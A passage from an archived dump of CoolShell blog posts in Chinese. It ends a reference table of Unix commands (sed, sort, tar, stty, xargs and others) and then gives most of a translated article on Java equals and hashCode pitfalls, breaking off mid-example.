‘\\.suf1$’ | sed -e ‘s/\\(.*\\.\\)suf1/mv &amp; \\1suf2/’ | sh</span></td>\n</tr>\n<tr>\n<td>把文件中包含c的行中的a 替换成b</td>\n<td><span style=\"color: #333399;\">sed -e ‘/C/s/A/B/’ &lt;infile&gt; &gt;&lt;outfile&gt;</span></td>\n</tr>\n<tr>\n<td>删除所有包含 “you owe me”的文件行</td>\n<td><span style=\"color: #333399;\">sed -e ‘/you owe me/d’ &lt;infile&gt; &gt; &lt;outfile&gt;</span></td>\n</tr>\n<tr>\n<td>使用commandfile中的命令来编译infile文件，并输出到outfile中。其中的commandfile中包含了一系列的vi命令</td>\n<td><span style=\"color: #333399;\">sed -f &lt;commandfile&gt; &lt;infile&gt; &gt; &lt;outfile&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">SH</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>最老的 AT&amp;T shell程序，也是使用最广泛的标准确shell。</td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">SHUTDOWN</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>关机</td>\n<td><span style=\"color: #333399;\">shutdown -h now</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">SLEEP</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>sleep 10秒钟</td>\n<td><span style=\"color: #333399;\">sleep 10</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">SORT</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>以字符顺序把文件的每一行排序</td>\n<td><span style=\"color: #333399;\">sort &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>以数字顺序把文件的每一行排序</td>\n<td><span style=\"color: #333399;\">sort -n &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>反向排序</td>\n<td><span style=\"color: #333399;\">sort -r &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>排序时对于重复项只保留一个</td>\n<td><span style=\"color: #333399;\">sort -u &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td> </td>\n<td> </td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">SPELL</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>检查拼写错误</td>\n<td><span style=\"color: #333399;\">spell &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>检查拼写错误，但是忽略okfile中包含的单词</td>\n<td><span style=\"color: #333399;\">spell +&lt;okfile&gt; &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">SPLIT</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>拆分一个大文件，每个文件1m</td>\n<td><span style=\"color: #333399;\">split -b1m &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>把拆分后的文件合并起来</td>\n<td><span style=\"color: #333399;\">cat x* &gt; &lt;newfile&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">STRINGS</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>从二进制文件中读取ascii 字符串</td>\n<td><span style=\"color: #333399;\">strings &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">STTY</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>显示终端设置</td>\n<td><span style=\"color: #333399;\">stty -a</span></td>\n</tr>\n<tr>\n<td>设置 Ctrl+”H”为删除键</td>\n<td><span style=\"color: #333399;\">stty erase “^H”</span></td>\n</tr>\n<tr>\n<td>对于用户的输入不回显</td>\n<td><span style=\"color: #333399;\">stty -echo</span></td>\n</tr>\n<tr>\n<td>回显用户的输入</td>\n<td><span style=\"color: #333399;\">stty echo</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">SU</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>切换到root用户</td>\n<td><span style=\"color: #333399;\">su</span></td>\n</tr>\n<tr>\n<td>切换到root用户并使用其环境</td>\n<td><span style=\"color: #333399;\">su –</span></td>\n</tr>\n<tr>\n<td>切换到另一用户</td>\n<td><span style=\"color: #333399;\">su &lt;username&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">TAIL</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>显示某文件中的文件尾中包含pattern的文件行</td>\n<td><span style=\"color: #333399;\">tail -f &lt;file&gt; | grep &lt;pattern&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">TAR</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>把整个目录打包（没有压缩）</td>\n<td><span style=\"color: #333399;\">tar cvf &lt;outfile&gt;.tar &lt;dir&gt;</span></td>\n</tr>\n<tr>\n<td>解包某个tar文件</td>\n<td><span style=\"color: #333399;\">tar xvf &lt;file&gt;.tar</span></td>\n</tr>\n<tr>\n<td>先解压缩再解包</td>\n<td><span style=\"color: #333399;\">gzip -dc &lt;file&gt;.tar.gz | tar xvf –</span></td>\n</tr>\n<tr>\n<td>打包成一个压缩包</td>\n<td><span style=\"color: #333399;\">tar xzvf &lt;file&gt;tar.gz</span></td>\n</tr>\n<tr>\n<td>在.cshrc中设置 tar命令的tape 变量</td>\n<td><span style=\"color: #333399;\">tape=/dev/rmt/0mbn</span></td>\n</tr>\n<tr>\n<td>把一个目录打包到tape变量所指的目录中</td>\n<td><span style=\"color: #333399;\">tar cv &lt;dir&gt;</span></td>\n</tr>\n<tr>\n<td>从tape中解包</td>\n<td><span style=\"color: #333399;\">tar xv</span></td>\n</tr>\n<tr>\n<td>从tape中解出一个文件</td>\n<td><span style=\"color: #333399;\">tar xv &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>从 tape中得到一个内容表</td>\n<td><span style=\"color: #333399;\">tar t</span></td>\n</tr>\n<tr>\n<td>以合适的权限和链接拷贝一个目录</td>\n<td><span style=\"color: #333399;\">(cd fromdir &amp;&amp; tar -cBf – . ) | ( cd todir &amp;&amp; tar -xBf – )</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">TCSH</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>Berkly的另一个非常不错的shell</td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">TEE</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>把标准输入重定向到标准输出</td>\n<td><span style=\"color: #333399;\">who | tee -a &gt; &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">TEST</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>检查是否是一个文件</td>\n<td><span style=\"color: #333399;\">test -a &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>检查是否某文件是否是root属性</td>\n<td><span style=\"color: #333399;\">test -O /usr/bin/su</span></td>\n</tr>\n<tr>\n<td>检查某变量是否为 null</td>\n<td><span style=\"color: #333399;\">test -n “$foo”</span></td>\n</tr>\n<tr>\n<td>以数字的方式比较两个数字字符串</td>\n<td><span style=\"color: #333399;\">test $var1 -gt $var2</span></td>\n</tr>\n<tr>\n<td>在ksh 脚本中间接地使用”test”</td>\n<td><span style=\"color: #333399;\">if [[ -a &lt;file&gt; ]];then …;fi</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">TIME</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>查看运行一个命令需要多少时间</td>\n<td><span style=\"color: #333399;\">time &lt;command&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">TOUCH</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>更新文件的修改时间为当前时间，文件不存在则创建文件</td>\n<td><span style=\"color: #333399;\">touch &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">TR</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>使用x替换a，y替换b，c替换z</td>\n<td><span style=\"color: #333399;\">tr ‘[a-c]’ ‘[x-z]’ &lt; infile &gt; outfile</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">TRAP</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>捕捉”^C” 并执行子程序</td>\n<td><span style=\"color: #333399;\">trap “mysub;exit” 0 1 2 15</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">TRUE</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>让个不存在的命令返回0</td>\n<td><span style=\"color: #333399;\">ln -s /usr/bin/true ranlib</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">TRUSS</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>查看一个命令运行时的系统调用</td>\n<td><span style=\"color: #333399;\">truss &lt;command&gt; &gt; /dev/null</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">TYPSET</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>查看被激活的功能</td>\n<td><span style=\"color: #333399;\">typset</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">TTY</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>查看终端所在的设备文件</td>\n<td><span style=\"color: #333399;\">tty</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">ULIMIT</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>查看系统所支持的最大文件长度</td>\n<td><span style=\"color: #333399;\">ulimit</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">UMASK</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>查看目前的umask</td>\n<td><span style=\"color: #333399;\">umask</span></td>\n</tr>\n<tr>\n<td>设置一个umask</td>\n<td><span style=\"color: #333399;\">umask 077</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">UNIQ</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>查看一个文件中有多少行是一样的</td>\n<td><span style=\"color: #333399;\">sort &lt;file&gt; | uniq -c</span></td>\n</tr>\n<tr>\n<td>仅输出唯一的没有重复的行</td>\n<td><span style=\"color: #333399;\">sort &lt;file&gt; | uniq -u</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">UPTIME</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>查看你的电脑开机多少时间了</td>\n<td><span style=\"color: #333399;\">uptime</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">UUENCODE</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>Encode一个文件以便发送电子邮件</td>\n<td><span style=\"color: #333399;\">uuencode decodedname namenow &gt; codedname</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">UUDECODE</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>Decode 一个 uuencoded 文件</td>\n<td><span style=\"color: #333399;\">uudecode &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">WAIT</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>等一个后进和运行结束</td>\n<td><span style=\"color: #333399;\">wait $jobid</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">VI</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>最主要的unix编译器</td>\n<td><span style=\"color: #333399;\">vi &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">WC</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>计算一个文件的行号</td>\n<td><span style=\"color: #333399;\">wc -l &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">XARGS</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>把标准输出作为参数来执行一条命令</td>\n<td><span style=\"color: #333399;\">&lt;command&gt; | xargs -i grep ‘pattern’ {}</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">XON</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>从另一台电脑上得到一个xterm</td>\n<td><span style=\"color: #333399;\">xon &lt;host&gt;</span></td>\n</tr>\n<tr>\n<td>从另一台电脑上得到所有的东西</td>\n<td><span style=\"color: #333399;\">xon &lt;host&gt; &lt;X-client&gt;</span></td>\n</tr>\n</tbody>\n</table>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12103.html\"><img alt=\"vfork 挂掉的一个问题\" height=\"150\" src=\"../wp-content/uploads/2014/11/tux-fork-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12103.html\">vfork 挂掉的一个问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9104.html\"><img alt=\"sed 简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/02/sed-superman-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9104.html\">sed 简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9070.html\"><img alt=\"AWK 简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/02/awk-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9070.html\">AWK 简明教程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1044.html\">高级Unix命令</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-6-18 如何在Java中避免equals方法的隐藏陷阱.html",
    "content": "<html><body><p><strong>译者注</strong> :你可能会觉得Java很简单，Object的equals实现也会非常简单，但是事实并不是你想象的这样，耐心的读完本文，你会发现你对Java了解的是如此的少。如果这篇文章是一份Java程序员的入职笔试，那么不知道有多少人会掉落到这样的陷阱中。原文转自<a href=\"http://www.artima.com/lejava/articles/equality.html\">http://www.artima.com/lejava/articles/equality.html</a> 三位作者都是不同领域的大拿，有兴趣的读者可以从上面这个连接直接去阅读原文。</p>\n<p><strong>摘要</strong><br/>\n本文描述重载equals方法的技术，这种技术即使是具现类的子类增加了字段也能保证equal语义的正确性。<br/>\n在《Effective Java》的第8项中，Josh Bloch描述了当继承类作为面向对象语言中的等价关系的基础问题，要保证派生类的equal正确性语义所会面对的困难。Bloch这样写到：</p>\n<blockquote><p><strong>除非你忘记了面向对象抽象的好处，否则在当你继承一个新类或在类中增加了一个值组件时你无法同时保证equal的语义依然正确</strong></p></blockquote>\n<p><span id=\"more-1051\"></span></p>\n<p>在《Programming in Scala》中的第28章演示了一种方法，这种方法允许即使继承了新类，增加了新的值组件，equal的语义仍然能得到保证。虽然在这本书中这项技术是在使用Scala类环境中，但是这项技术同样可以应用于Java定义的类中。在本文中的描述来自于Programming in Scala中的文字描述，但是代码被我从scala翻译成了Java</p>\n<p>　</p>\n<h4>常见的等价方法陷阱</h4>\n<p>java.lang.Object 类定义了equals这个方法，它的子类可以通过重载来覆盖它。不幸的是，在面向对象中写出正确的equals方法是非常困难的。事实上，在研究了大量的Java代码后，2007 paper的作者得出了如下的一个结论：</p>\n<blockquote><p>几乎所有的equals方法的实现都是错误的！</p></blockquote>\n<p>这个问题是因为等价是和很多其他的事物相关联。例如其中之一，一个的类型C的错误等价方法可能意味着你无法将这个类型C的对象可信赖的放入到容器中。比如说，你有两个元素elem1和elem2他们都是类型C的对象，并且他们是相等，即elem1.equals(elm2)返回ture。但是，只要这个equals方法是错误的实现，那么你就有可能会看见如下的一些行为：</p>\n<pre class=\"brush: java\">Set hashSet&lt;C&gt; = new java.util.HashSet&lt;C&gt;();\nhashSet.add(elem1);\nhashSet.contains(elem2);    // returns false!</pre>\n<p>当equals重载时，这里有4个会引发equals行为不一致的常见陷阱：</p>\n<ol>\n<li>定义了错误的equals方法签名(signature) Defining equals with the wrong signature.</li>\n<li>重载了equals的但没有同时重载hashCode的方法。 Changing equals without also changing hashCode.</li>\n<li>建立在会变化字域上的equals定义。 Defining equals in terms of mutable fields.</li>\n<li>不满足等价关系的equals错误定义 Failing to define equals as an equivalence relation.</li>\n</ol>\n<p>在剩下的章节中我们将依次讨论这4中陷阱。</p>\n<p>　</p>\n<h4>陷阱1：定义错误equals方法签名(signature)</h4>\n<p>考虑为下面这个简单类Point增加一个等价性方法：</p>\n<pre class=\"brush: java\">public class Point {\n\n    private final int x;\n    private final int y;\n\n    public Point(int x, int y) {\n        this.x = x;\n        this.y = y;\n    }\n\n    public int getX() {\n        return x;\n    }\n\n    public int getY() {\n        return y;\n    }\n\n    // ...\n}</pre>\n<p>看上去非常明显，但是按照这种方式来定义equals就是错误的。</p>\n<pre class=\"brush: java\">// An utterly wrong definition of equals\npublic boolean equals(Point other) {\n  return (this.getX() == other.getX() &amp;&amp; this.getY() == other.getY());\n}</pre>\n<p>这个方法有什么问题呢？初看起来，它工作的非常完美：</p>\n<pre class=\"brush: java\">Point p1 = new Point(1, 2);\nPoint p2 = new Point(1, 2);\n\nPoint q = new Point(2, 3);\n\nSystem.out.println(p1.equals(p2)); // prints true\n\nSystem.out.println(p1.equals(q)); // prints false</pre>\n<p>然而，当我们一旦把这个Point类的实例放入到一个容器中问题就出现了：</p>\n<pre class=\"brush: java\">import java.util.HashSet;\n\nHashSet&lt;Point&gt; coll = new HashSet&lt;Point&gt;();\ncoll.add(p1);\n\nSystem.out.println(coll.contains(p2)); // prints false</pre>\n<p>为什么coll中没有包含p2呢？甚至是p1也被加到集合里面，p1和p2是是等价的对象吗？在下面的程序中，我们可以找到其中的一些原因，定义p2a是一个指向p2的对象，但是p2a的类型是Object而非Point类型：</p>\n<pre class=\"brush: java\">Object p2a = p2;</pre>\n<p>现在我们重复第一个比较，但是不再使用p2而是p2a,我们将会得到如下的结果：</p>\n<pre class=\"brush: java\">System.out.println(p1.equals(p2a)); // prints false</pre>\n<p>到底是那里出了了问题？事实上，之前所给出的equals版本并没有覆盖Object类的equals方法，因为他的类型不同。下面是Object的equals方法的定义</p>\n<pre class=\"brush: java\">public boolean equals(Object other)</pre>\n<p>因为Point类中的equals方法使用的是以Point类而非Object类做为参数，因此它并没有覆盖Object中的equals方法。而是一种变化了的重载。在Java中重载被解析为静态的参数类型而非运行期的类型，因此当静态参数类型是Point,Point的equals方法就被调用。然而当静态参数类型是Object时，Object类的equals就被调用。因为这个方法并没有被覆盖，因此它仍然是实现成比较对象标示。这就是为什么虽然p1和p2a具有同样的x,y值，”p1.equals(p2a)”仍然返回了false。这也是会什么HasSet的contains方法返回false的原因，因为这个方法操作的是泛型，他调用的是一般化的Object上equals方法而非Point类上变化了的重载方法equals</p>\n<p>一个更好但不完美的equals方法定义如下：</p>\n<pre class=\"brush: java\">// A better definition, but still not perfect\n@Override public boolean equals(Object other) {\n    boolean result = false;\n    if (other instanceof Point) {\n        Point that = (Point) other;\n        result = (this.getX() == that.getX() &amp;&amp; this.getY() == that.getY());\n    }\n    return result;\n}</pre>\n<p>现在equals有了正确的类型，它使用了一个Object类型的参数和一个返回布尔型的结果。这个方法的实现使用instanceof操作和做了一个造型。它首先检查这个对象是否是一个Point类，如果是，他就比较两个点的坐标并返回结果，否则返回false。</p>\n<p>　</p>\n<h4>陷阱2：重载了equals的但没有同时重载hashCode的方法</h4>\n<p>如果你使用上一个定义的Point类进行p1和p2a的反复比较，你都会得到你预期的true的结果。但是如果你将这个类对象放入到HashSet.contains()方法中测试，你就有可能仍然得到false的结果：</p>\n<pre class=\"brush: java\">Point p1 = new Point(1, 2);\nPoint p2 = new Point(1, 2);\n\nHashSet&lt;Point&gt; coll = new HashSet&lt;Point&gt;();\ncoll.add(p1);\n\nSystem.out.println(coll.contains(p2)); // 打印 false (有可能)</pre>\n<p>事实上，这个个结果不是100%的false，你也可能有返回ture的经历。如果你得到的结果是true的话，那么你试试其他的坐标值，最终你一定会得到一个在集合中不包含的结果。导致这个结果的原因是Point重载了equals却没有重载hashCode。<br/>\n注意上面例子的的容器是一个HashSet，这就意味着容器中的元素根据他们的哈希码被被放入到”哈希桶 hash buckets”中。contains方法首先根据哈希码在哈希桶中查找，然后让桶中的所有元素和所给的参数进行比较。现在，虽然最后一个Point类的版本重定义了equals方法，但是它并没有同时重定义hashCode。因此，hashCode仍然是Object类的那个版本，即：所分配对象的一个地址的变换。所以p1和p2的哈希码理所当然的不同了，甚至是即时这两个点的坐标完全相同。不同的哈希码导致他们具有极高的可能性被放入到集合中不同的哈希桶中。contains方法将会去找p2的哈希码对应哈希桶中的匹配元素。但是大多数情况下，p1一定是在另外一个桶中，因此，p2永远找不到p1进行匹配。当然p2和p2也可能偶尔会被放入到一个桶中，在这种情况下，contains的结果就为true了。</p>\n<p>最新一个Point类实现的问题是，它的实现违背了作为Object类的定义的hashCode的语义。</p>\n<blockquote><p><strong><br/>\n如果两个对象根据equals(Object)方法是相等的，那么在这两个对象上调用hashCode方法应该产生同样的值<br/>\n</strong></p></blockquote>\n<p>事实上，在Java中，hashCode和equals需要一起被重定义是众所周知的。此外，hashCode只可以依赖于equals依赖的域来产生值。对于Point这个类来说，下面的的hashCode定义是一个非常合适的定义。</p>\n<pre class=\"brush: java\">public class Point {\n\n    private final int x;\n    private final int y;\n\n    public Point(int x, int y) {\n        this.x = x;\n        this.y = y;\n    }\n\n    public int getX() {\n        return x;\n    }\n\n    public int getY() {\n        return y;\n    }\n\n    @Override public boolean equals(Object other) {\n        boolean result = false;\n        if (other instanceof Point) {\n            Point that = (Point) other;\n            result = (this.getX() == that.getX() &amp;&amp; this.getY() == that.getY());\n        }\n        return result;\n    }\n<span style=\"color: #339966;\">\n    @Override public int hashCode() {\n        return (41 * (41 + getX()) + getY());\n    }\n</span>\n}</pre>\n<p>这只是hashCode一个可能的实现。x域加上常量41后的结果再乘与41并将结果在加上y域的值。这样做就可以以低成本的运行时间和低成本代码大小得到一个哈希码的合理的分布(<strong>译者注：</strong>性价比相对较高的做法)。<br/>\n增加hashCode方法重载修正了定义类似Point类等价性的问题。然而，关于类的等价性仍然有其他的问题点待发现。</p>\n<p>　</p>\n<h4>陷阱3：建立在会变化字段上的equals定义</h4>\n<p>让我们在Point类做一个非常微小的变化</p>\n<pre class=\"brush: java\">public class Point {\n<span style=\"color: #339966;\">\n    private int x;\n    private int y;\n</span>\n    public Point(int x, int y) {\n        this.x = x;\n        this.y = y;\n    }\n\n    public int getX() {\n        return x;\n    }\n\n    public int getY() {\n        return y;\n    }\n<span style=\"color: #339966;\">\n    public void setX(int x) { // Problematic\n        this.x = x;\n    }\n\n    public void setY(int y) {\n        this.y = y;\n    }\n</span>\n    @Override public boolean equals(Object other) {\n        boolean result = false;\n        if (other instanceof Point) {\n            Point that = (Point) other;\n            result = (this.getX() == that.getX() &amp;&amp; this.getY() == that.getY());\n        }\n        return result;\n    }\n\n    @Override public int hashCode() {\n        return (41 * (41 + getX()) + getY());\n    }\n}</pre>\n<p>唯一的不同是x和y域不再是final，并且两个set方法被增加到类中来，并允许客户改变x和y的值。equals和hashCode这个方法的定义现在是基于在这两个会发生变化的域上，因此当他们的域的值改变时，结果也就跟着改变。因此一旦你将这个point对象放入到集合中你将会看到非常神奇的效果。</p>\n<pre class=\"brush: java\">Point p = new Point(1, 2);\n\nHashSet&lt;Point&gt; coll = new HashSet&lt;Point&gt;();\ncoll.add(p);\n\nSystem.out.println(coll.contains(p)); // 打印 true</pre>\n<p>现在如果你改变p中的一个域，这个集合中还会包含point吗，我们将拭目以待。</p>\n<pre class=\"brush: java\">p.setX(p.getX() + 1);\n\nSystem.out.println(coll.contains(p)); // (有可能)打印 false</pre>\n<p>看起来非常的奇怪。p去那里去了？如果你通过集合的迭代器来检查p是否包含，你将会得到更奇怪的结果。</p>\n<pre class=\"brush: java\">Iterator&lt;Point&gt; it = coll.iterator();\nboolean containedP = false;\nwhile (it.hasNext()) {\n    Point nextP = it.next();\n    if (nextP.equals(p)) {\n        containedP = true;\n        break;\n    }\n}\n\nSystem.out.println(containedP); // 打印 true</pre>\n<p>结果是，集合中不包含p，但是p在集合的元素中！到底发生了什么！当然，所有的这一切都是在x域的修改后才发生的，p最终的的hashCode是在集合coll错误的哈希桶中。即，原始哈希桶不再有其新值对应的哈希码。换句话说，p已经在集合coll的是视野范围之外，虽然他仍然属于coll的元素。</p>\n<p>从这个例子所得到的教训是，当equals和hashCode依赖于会变化的状态时，那么就会给用户带来问题。如果这样的对象被放入到集合中，用户必须小心，不要修改这些这些对象所依赖的状态，这是一个小陷阱。如果你需要根据对象当前的状态进行比较的话，你应该不要再重定义equals，应该起其他的方法名字而不是equals。对于我们的Point类的最后的定义，我们最好省略掉hashCode的重载，并将比较的方法名命名为equalsContents，或其他不同于equals的名字。那么Point将会继承原来默认的equals和hashCode的实现，因此当我们修改了x域后p依然会呆在其原来在容器中应该在位置。</p>\n<p>　</p>\n<h4>陷阱4：不满足等价关系的equals错误定义</h4>\n<p>Object中的equals的规范阐述了equals方法必须实现在非null对象上的等价关系：</p>\n<ul>\n<li>自反原则：对于任何非null值X,表达式x.equals(x)总返回true。</li>\n<li>等价性：对于任何非空值x和y，那么当且仅当y.equals(x)返回真时，x.equals(y)返回真。</li>\n<li>传递性：对于任何非空值x,y,和z，如果x.equals(y)返回真，且y.equals(z)也返回真，那么x.equals(z)也应该返回真。</li>\n<li>一致性：对于非空x,y，多次调用x.equals(y)应该一致的返回真或假。提供给equals方法比较使用的信息不应该包含改过的信息。</li>\n<li>对于任何非空值x,x.equals(null)应该总返回false.</li>\n</ul>\n<p>Point类的equals定义已经被开发成了足够满足equals规范的定义。然而，当考虑到继承的时候，事情就开始变得非常复杂起来。比如说有一个Point的子类ColoredPoint，它比Point多增加了一个类型是Color的color域。假设Color被定义为一个枚举类型：</p>\n<pre class=\"brush: java\">public enum Color {\n    RED, ORANGE, YELLOW, GREEN, BLUE, INDIGO, VIOLET;\n}</pre>\n<p>ColoredPoint重载了equals方法，并考虑到新加入color域，代码如下：</p>\n<pre class=\"brush: java\">public class ColoredPoint extends Point { // Problem: equals not symmetric\n\n    private final Color color;\n\n    public ColoredPoint(int x, int y, Color color) {\n        super(x, y);\n        this.color = color;\n    }\n\n    @Override public boolean equals(Object other) {\n        boolean result = false;\n        if (other instanceof ColoredPoint) {\n            ColoredPoint that = (ColoredPoint) other;\n            result = (this.color.equals(that.color) &amp;&amp; super.equals(that));\n        }\n        return result;\n    }\n}</pre>\n<p>这是很多程序员都有可能写成的代码。注意在本例中，类ColoredPointed不需要重载hashCode，因为新的ColoredPoint类上的equals定义，严格的重载了Point上equals的定义。hashCode的规范仍然是有效，如果两个着色点(colored point)相等，其坐标必定相等，因此它的hashCode也保证了具有同样的值。</p>\n<p>对于ColoredPoint类自身对象的比较是没有问题的，但是如果使用ColoredPoint和Point混合进行比较就要出现问题。</p>\n<pre class=\"brush: java\">Point p = new Point(1, 2);\n\nColoredPoint cp = new ColoredPoint(1, 2, Color.RED);\n\nSystem.out.println(p.equals(cp)); // 打印真 true\n\nSystem.out.println(cp.equals(p)); // 打印假 